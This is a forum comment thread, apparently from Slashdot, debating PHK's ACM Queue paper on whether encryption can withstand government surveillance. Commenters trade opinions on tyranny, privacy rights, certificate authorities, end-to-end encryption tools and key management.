I believe he's right but for the wrong reasons. He effectively points out that a tyrannical government could circumvent all sorts of encryption while making people feel safer. He ignores that in such a system with more encryption can not make the situation any worse as far as tyrannical government snooping goes--without encryption they definitely will snoop and with encryption they only may snoop. Yet, the elephant in the room is the premise of the tyrannical government. To that point, the solution is not to accept the tyrannical government and bury oneself deeper in encryption. The solution is to change the tyrannical government. But, then, I'm afraid perhaps he and others believe that's quite impossible short of advocating a civil war which, me included, would rather not see. :(
PS - This goes for anywhere in the world with a tyrannical government, as much as the US's nastiness has been in the news. Wars are almost a very bloody, horrible thing that last much longer than anyone thought when they started and become near unbearable every day longer that they last. Yet, obviously, countries like the US would almost certainly not exist with the Revolutionary [Civil] War.
Eurohacker European paranoia, gun rights, and h
http://queue.acm.org/detail.cfm?id=2508864
It's a paper PHK wrote. A bit silly not to include it in the summary. Silly editors.
There is no technical solution to prevent a government from torturing or murdering people, and there is not technical solution to prevent a government from intercepting confidential communication (because they can intercept communications, forge certificates, force hidden backdoors, use 0 day exploits, install root kits etc).
Every form of encryption requires some form of trust (into the integrity of the software (open source or not) doing the encryption (and the core of the os) and into the certificate system, as every form of government requires trust (into the integrity of the people making the decissions),
But most western countries only rarely torture or murder people (and when they do, they use the same stupid justification that they use for surveillance), because there is an ethic understanding that this not right to do it.
We need to create that moral understanding.
What if you do it in targeted attacks on specific users? How often do you check for changes in the key?
As you say, this wouldn't really work for mass surveillance.
You seem to think nobody knows that CA's don't have the private key. This is really basic knowledge, and nobody here is challenging you on that. We are not missing your point, it's just not any new information,
Https is already broken via control over the CAs.
You could use symmetric encryption as long as you have means of key distribution. Every key distribution is a major weakness but there are at least ways to distribute keys that would be a pain in the ass for agencies, e.g. oral communication 2-factor passphrases, USB sticks with random keys that expire after 2 weeks, individual codebooks. Most of them are not very practical in large corporations, though.
I've built a protocol which endevours to use the rest of the users in the system to warn its users if the system designers we're being coerced into helping some agent. I agree with the OP in that everyone can be made to help any agent who is convincing enough but the trick is to try to design that out and better still, throw it open to being decrypted if you have the keys so you can see exactly what's being sent to keep the system honest.
Declaring an interest, this is exactly the sort of system I've built.
Clipper chip, anyone? So maybe they have enough of their hooks in PGP/GPG or openssl to be useful to them, but not so it makes other people stop and think about what's happening there.
Notice how the "Total Information Awareness" programme got instituted in different parts and under different names, and anyway already existed under yet different names in a different agency, as we now and again and again learn. And yes, they slurp up any and all encrypted stuff for later attacking. Wouldn't be too hard (for them) to just generate keys with gay abandon and keep'em all. With a big enough corpus you're bound to hit something, sometime. And who knows, maybe it's interesting enough to warrant the effort later. There are a lot of maybes in that outfit.
PHK's argument* is basically that all the answers/workarounds/reactions have this problem, even if the means and effects stay hidden to the casual user. I'm not sure that is entirely fair, and I have no idea what to do about it, but it is something to take into consideration. If only to avoid deluding yourself with a false sense of security.
* From the summary; RingTFA is about as useful as reading a Venezia turd.
The right to privacy should be made part of the charter of Human Rights. That would bypass and invalidate the laws of those so-called civilized countries that already includes provisions for coercing people into giving up passwords and passphrases - I'm especially looking at you, United Kingdom.
Basically it should state that all people have an inviolate right to privacy and a right to protect this privacy. Only in case of a few very specific criminal charges can legislation allow the authorities to coerce the suspect into releasing privacy-protected information, but always only what's related to the case, nothing more. This means that they cannot request a password to decrypt a disk unless they know in advance that the disk only contain information relevant to the case and nothing more. If they want relevant information from such a disk, a trusted third party needs to be involved that will handle the process of accessing the disk and extracting the relevant information and nothing more, ensuring that the authorities only get the relevant information they've requested and nothing more.
Same thing with a search warrant for a home. Today the police are allowed to use everything they find regardless of what they were looking for. If they look for drugs but find a stash of stolen goods, they can prosecute the stolen goods in a new case. Sure, it sounds reasonable but what if the search warrant is more or less bogus, perhaps entirely based on an anonymous tip (happens quite often in cases involving drugs for instance) ? - There's nothing to prevent the authorities from tipping themselves and if you look hard enough in any private space you will find something illegal, so in order to protect against harassment through methods like this, a search warrant must list in fairly specific terms what they expect to find and they're only allowed to use that for litigation purposes. Of course there's nothing to prevent the authorities from knowing what they found and obtaining a new search warrant if they can provide other evidence to validate the request, but if they have nothing and just are going fishing, this Human Rights provision will stop them in a civilized country.
"For every complex problem, there is a solution that is simple, neat, and wrong." -- H.L. Mencken (1880-1956) --
As subject.
Freedom and liberty have not long, when their presence or lack thereof is controlled as now too strongly by the State, which in its own interest would be far happier if we were largely without liberty - so much less crime and terrorism and we can save the children - all true, but it comes at a price too high to pay, for freedom exists when liberty exists, but when liberty is gone, then freedom can be lost. I suspect the loss of freedom is rather like (I think it was) Bertram Russell's commnt on bankruptcy; it happens slowly, then all of a sudden.
As it is, I think we have a nation slowly - and by that without much conscious alarm being raised - become accustomed to the absence of liberty; we know, in our hearts, that we're being watched. It is was striking to me, when I began to use TorChat and had then some confidence my discussion was private, just how great a relief it felt to be able to talk absolutely openly, something we are by the knowledge of our watching subliminally discouraged from.
NT
Some time ago (circa 2006) I was a sysadmin in some quite big Russian medical organization. And the org was obliged to send an encrypted and signed mail to it's bank.
You possibly understand what kind of people the Soviet bookkeepers are, so it was necessary to "train them specially"(c). And in this process I have discovered that the key is not generated by client and then signed by authority. It is both generated and signed by authority.
I understand that the only purpose of it was a transport encryption and nobody ever will generate false letters. Nevertheless, it means that you should either review the key procedures yourself or considerably diminish your trust in them.
Man in the middle.
You can't trust the service provider, period.
Don't rely on software as service scams, don't believe in pathetic cookie privacy management stories from websites, don't save your data on PrismDrive on NSA_svr01 and so on.
Encrypt all you need on YOUR end, with Open Source software only (compiled with Open Source compilers only, so backdoors cannot be assembled in during the build), then send it only in encrypted form.
It would not be a bad idea switch to Open Source operating systems too, or else you risk to have your local disk, memory and keystrokes sent on the NSA without any notice.
Then, you will be secure against mass surveillance, but don't even dream about being secure against a pro attack: TEMPEST-like equipment can successfully get all the traffic flowing in your local buses and recover a reasonably good amount of information with reasonable effort and expense - or more probably someone you know can sell you for 30 silver coins or less.
There IS a technical solution to prevent a government from torturing or murdering people.
Firstly, the key to your personal data should consist of 2 parts: a passphrase and a keyfile. The keyfile may have self-destruction properties, and parts of it's backup trusted to a group of people. It will be necessary to find all them to restore the keyfile. # man 8 geli
Secondly, the absence of key owner should both start the keyfile destruction and publish some info. Afaik Wikileaks has published some encrypted files, and every attempt to kill Assange will publish a decryption key.
If you're not breaking any laws, what do you care if the government is looking at who is calling who and what emails are going where? You have no expectation of privacy for what you write on the outside of an envelope you put in the mail, and that logic extends to the headers of your email and the number of the phone you are dialing.
Personally I think it's a horrible idea that private citizens are even allowed to use encryption because it makes it almost impossible to catch terrorists and criminals.
That sounds like it boils down to "Well, criminals are going to break the law anyways, so there's really no reason to make more laws for them to break."
I mean, anyone with a lock pick set can break into my house, so I guess putting locks on my doors is just plain stupid.
I believe functionality like this is already in HSTS and already used by google and chrome
My mistake - it is in http://src.chromium.org/viewvc/chrome/trunk/src/net/base/transport_security_state.cc?revision=107993&view=markup&pathrev=107993
and only enabled for google, twitter, tor, and a handful of other sites.
SSL is for security between user and the site. Of course the site can reveal your data to anyone who wishes. End to end encryption with open source software between two users, is a whole other story
..any more. Mr Alexander, you conquered the cloud and salted it to death. You are a biiig leader of your army, Alexander !
I stopped using gmail a long time ago and I consider using facebook being the equivalent of shouting in a bar full of secret police.
I use strong crypto and TOR as a matter of principle now.
Kind regards
Pax Americana Subject
Some people, like me, are fully aware of this. They have patched their browser to display the most common configuration of all systems out there. When they go dark, they use a different browser than when operating in the light. I even heard of people who randomly create a browr http headers.
All Your Encryption Are Belong To Us (or should that be US?)
If Gary Government wants to spy on Alice and Bob, then Alice and Bob can use encryption to prevent things like man in the middle attacks.
If Gary pays Bob money to divulge Alice's secret information, that's a different problem that encryption doesn't solve, nor should we expect it to.
Encryption will safely get secret information to/from you to another trusted entity. If it turns out that this other entity can't be trusted, then you're shit out of luck. That's always been the case and will probably always be the case.
Its a shame that more people just can't write their own encryption algorithms. Using a common source will always be extremely vulnerable.
...and as usual, the answer is *END-TO-END* encryption. (Not just any random kind of encryption)
Have all the users use good encryption locally on their machine BEFORE uploading their data onto Dropbox, and decrypt it locally after downloading it back.
As long as all end-user follow this strictly and don't lose the encryption key outise of their group, there's no risk even if the government forces DropBox to open their space.
Same also with communication:
use ZRTP/SRTP (for voice) and OTR for messages.
It encrypt communication before it leaves your control, and gets only decrypted at the other end.
Unlike, say, skype, where the government could force microsoft to give the keys to the RC4 encryption used on the network.
etc.
Encryption works, as long as only trusted parties handle each end with no possible intermediate.
Don't trust the other end-point of a transaction? (For example a website which could be forced by its government to open its HTTPS encryption, or whose certificate wasn't issued by a company you trust) Then don't do transaction with them, or consider that the communication could be spied upon.
"Sufficiently advanced satire is indistinguishable from reality." - [Tips: 1DrYakQDKCQ6y52z6QbnkxHXAocMZJE61o ]